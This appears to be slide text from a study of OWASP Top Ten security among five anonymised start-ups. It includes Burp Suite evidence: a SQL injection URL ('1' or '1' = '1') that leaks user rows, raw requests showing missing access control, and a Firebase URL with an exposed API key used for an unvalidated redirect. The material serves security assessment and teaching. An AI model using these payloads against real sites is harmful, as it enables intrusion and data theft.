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## *OWASP TOP TEN*

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*What is the state of practice among start-ups?*

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## COMPANY A – FUNCTIONALITY FIRST

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WHAT: Project and time management solution

Store sensitive information about employees, customers and financial info

Background: Business and management.  
Outsourced development

 **Biggest fear: Authentication and Access Control.**  
Sensitive information leakage.



## COMPANY B – LEARN BY DOING

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WHAT: Crowdsourcing educational material

Each user is assigned privileges based on trust by contributing to the site.

Background: Students at computer science programs

 **Biggest fear: Destruction and privilege escalation.**



## COMPANY C - HOBBY PROJECT

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WHAT: Laundry booking site

Does not store user information, except e-mail addresses as usernames

Background: Experienced developers. Hobby project beside full time jobs

 **Biggest fear: stolen email-addresses, spamming, destruction**



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## COMPANY D - HEALTH APP

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**WHAT:** Communication platform for medical personnel and patients.

Store personal and sensitive information about patients

**Background:** Computer science fields among others



**Biggest fear: Information leakage**



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# COMPANY E - TUTORING SERVICE

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WHAT: Tutoring service

Store information about grades and diplomas.

Background: Computer science fields and related studies

 **Biggest fear: Ransomware. Being blackmailed in bitcoins**



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```
https://[REDACTED].com/token?device_id=1' or '1' = '1
JSON Raw Data Headers
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err:
  name: "QueryResultError"
  stack: "QueryResultError: 2\n    at new QueryResultError (/app/node_modu\n    Query.handleReadyForQuery (/app/node_modules/pg/lib/query.js:106:\n    (events.js:210:7)\n    at Socket.<anonymous> (/app/node_modules/pg\n    at readableAddChunk (_stream_readable.js:239:11)"
  message: "Multiple rows were not expected."
  code: 2
  result:
    command: "SELECT"
    rowCount: 18
    oid: null
    rows:
      0:
        id: 1
        username: "[REDACTED]-teamet"
        experience: 800
        facebook_id: null
        device_id: null
        level: 2
        privileges: [...]
      1:
        id: 83645
        username: [REDACTED]
        experience: 80155
        facebook_id: null
        device_id: "a8bcec86-685c-4885-b338-117f8237e096"
        level: 6
        privileges: [...]
      2:
        id: 83655
        username: [REDACTED]
        experience: 6000
        facebook_id: [REDACTED]
        device_id: null
        level: 3
        privileges: [...]
```

# SQL INJECTION

Tool: Burp Suite



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Target: https://[REDACTED].com

### Request

Raw Params Headers Hex

```
PUT /exercises/82351 HTTP/1.1
Host: [REDACTED].com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: [REDACTED].com/exercises/82351
X-Access-Token: [REDACTED]

Content-Type: application/json;charset=utf-8
Content-Length: 188

Connection: close

{"type":"mc","question":{"text":"Hvilket \u00e5r startet f\u00f8rste verdenskrig?"},"alternatives":[{"text":"1914","correct":true},{"text":"1910","correct":false},{"text":"1906","correct":false}]}
```

### Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: Cowboy
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,PUT,POST,DELETE
Access-Control-Allow-Headers: X-Access-Token, Origin, X-Requested-With, Content-Type, Accept, Client-Id, Platform
Content-Type: application/json; charset=utf-8
Content-Length: 319
Etag: W/"13f-EQNfv6ejHhdbMLK0Cg5Cqg"
Date: Wed, 22 Nov 2017 15:46:13 GMT
Via: 1.1 vegur

{"result":{"id":82351,"content":{"type":"mc","question":{"text":"Hvilket \u00e5r startet f\u00f8rste verdenskrig?"},"alternatives":[{"text":"1914","correct":true},{"text":"1910","correct":false},{"text":"1906","correct":false}]},"collection_id":76244,"modified":"2017-11-22T15:46:13.676Z","created":"2017-06-02T08:28:32.014Z"}}
```

## MISSING FUNCTION LEVEL ACCESS CONTROL

Tool: Burp Suite





```
POST /api/v2/generic-text/ HTTP/1.1
Host: [REDACTED]no
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Authorization: Bearer
```

```
[REDACTED]
```

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Content-Length: 156
Connection: close
```

```
{"text":":)
:),"priority":0,"created_by":"https://[REDACTED]no/api/v2/account/users/86/","target":"https
://[REDACTED]no/api/v2/user-info/4/"}
```

YESTERDAY AT 14:12 BY Robert Baratheon  
:)

YESTERDAY AT 12:52 BY Gamlefar Norman  
:):)

YESTERDAY AT 11:59 BY Lise Omsorgfull  
:):)



## MISSING FUNCTION LEVEL ACCESS CONTROL

Tool: Burp Suite



```
HTTPS://application.firebaseapp.com/__/auth/handler?apiKey=
AIzaSyAUCJL0LMU-iDI3TC2DodURB_A-uptzmPE&appName=%5BDEFAULT%5D&
authType=signInViaRedirect&providerId=Google.com&scopes=profile&
redirectUrl=HTTPS%3A%2F%2Ffacebook.com%2F%23%2F&v=3.9.0
```

## *UNVALIDATED REDIRECT*

Tool: Burp Suite





A1: Injection

A2: Broken Authentication

A3: Cross-Site Scripting (XSS)

A4: Insecure Direct Object References

A5: Security Misconfiguration

A6: Sensitive Data Exposure

A7: Missing Function Level Access Control

A8: Cross-Site Request Forgery (CSRF)

A9: Using Components with Known Vulnerabilities

A10: Unvalidated Redirects and Forwards

Green	Red	Green	Green	Green
Red	Yellow	Red	Yellow	Yellow
Yellow	Green	Green	Green	Green
Green	Red	Green	Red	Green
Red	Red	Green	Green	Yellow
Red	Red	Yellow	Green	Yellow
Green	Red	Green	Red	Green
Yellow	Yellow	Yellow	Green	Green
Red	Green	Green	Yellow	Green
Green	Green	Green	Green	Red

## *LESSONS*

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- Consider security from the start
- Start-ups make more secure applications because they are motivated
- Secure third-party code and samples